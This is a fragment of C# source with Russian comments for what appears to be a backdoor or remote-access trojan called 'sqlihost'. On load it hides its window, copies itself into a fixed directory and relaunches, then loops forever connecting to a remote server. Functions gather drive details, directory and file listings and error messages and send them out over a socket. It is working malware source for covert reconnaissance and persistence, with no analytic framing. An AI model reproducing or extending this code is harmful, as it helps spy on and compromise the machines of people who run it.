public static void GetDiskInfo() //Получить информацию о дисках { try { DriveInfo[] allDrives = DriveInfo.GetDrives(); FuncSocket.SenddetMessage.Add("Количество логических дисков на компьютере = " + allDrives.Count()); foreach (DriveInfo currDrvInf in allDrives) { FuncSocket.SenddetMessage.Add("Имя = " + currDrvInf.Name); FuncSocket.SenddetMessage.Add(" Тип диска = " + currDrvInf.DriveType.ToString()); if (currDrvInf.IsReady == true) { FuncSocket.SenddetMessage.Add(" Формат файловой системы = " + currDrvInf.DriveFormat); FuncSocket.SenddetMessage.Add(" Общий размер = " + ((currDrvInf.TotalSize / Math.Pow(1024d, 3d))).ToString() + " Гб."); FuncSocket.SenddetMessage.Add(" Свободное место = " + ((currDrvInf.TotalFreeSpace / Math.Pow(1024d, 3d))).ToString() + " Гб."); FuncSocket.SenddetMessage.Add(" Доступное свободное пространство = " + ((currDrvInf.AvailableFreeSpace / Math.Pow(1024d, 3d))).ToString() + " Гб."); FuncSocket.SenddetMessage.Add(" Метка тома = " + currDrvInf.VolumeLabel); FuncSocket.SenddetMessage.Add(" Корневой каталог = " + currDrvInf.RootDirectory.FullName); } else { FuncSocket.SenddetMessage.Add(" Диск не готов! Другая информация не доступна!"); } } FuncSocket.SendMessage(FuncSocket.sender); } catch (Exception e) { Debug(e); } }
public static void Debug(Exception e) //Отправляет отчет { try { FuncSocket.SenddetMessage.Add(e.Message); FuncSocket.SendMessage(FuncSocket.sender); } catch { } }
private void Sqlihost_Load(object sender, EventArgs e) //Проверка и запуск { CheckDisk(); this.Hide(); Timer(); try { foreach (Process proc in Process.GetProcessesByName("sqlihost")) { process.Add(proc.ToString()); if (process.Count() > 1) { Application.Exit(); } } if (Process.GetCurrentProcess().MainModule.FileName != AppPatch) { try { if (Directory.Exists(MainPatch)) { File.Copy(Process.GetCurrentProcess().MainModule.FileName, AppPatch, true); Process.Start(AppPatch); Application.Exit(); } else { Directory.CreateDirectory(MainPatch); Sqlihost_Load(sender, e); } } catch { } } else { while (true) { try { if (CheckConnection()) { FuncSocket.CONNECT(); Thread.Sleep(1000); } } catch { } } } } catch { } }
public static void Done(string msg) //Отправляет результат { try { FuncSocket.SenddetMessage.Add(msg); FuncSocket.SendMessage(FuncSocket.sender); } catch (Exception e) { Debug(e); } }
public static void GetFilesAndDirecrory(string patch) //Получение файлов и папок из директории { try { FuncSocket.SenddetMessage.Add(""); FuncSocket.SenddetMessage.Add("Директории: "); for (int i = 0; i < Directory.GetDirectories(patch).Length; i++) { FuncSocket.SenddetMessage.Add(Directory.GetDirectories(patch)[i]); } FuncSocket.SenddetMessage.Add(""); FuncSocket.SenddetMessage.Add("Файлы: "); for (int i = 0; i < Directory.GetFiles(patch).Length; i++) { FuncSocket.SenddetMessage.Add(Directory.GetFiles(patch)[i]); } FuncSocket.SendMessage(FuncSocket.sender); } catch (Exception e) { Debug(e); } }